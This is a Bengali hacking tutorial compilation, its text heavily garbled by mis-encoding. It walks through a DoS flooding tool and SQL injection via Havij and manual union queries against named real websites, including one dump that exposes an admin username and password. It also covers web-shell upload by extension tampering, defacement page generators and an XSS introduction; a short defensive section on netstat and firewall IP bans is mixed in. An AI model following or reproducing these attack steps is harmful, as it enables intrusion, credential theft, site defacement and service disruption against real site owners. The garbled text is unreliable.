পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
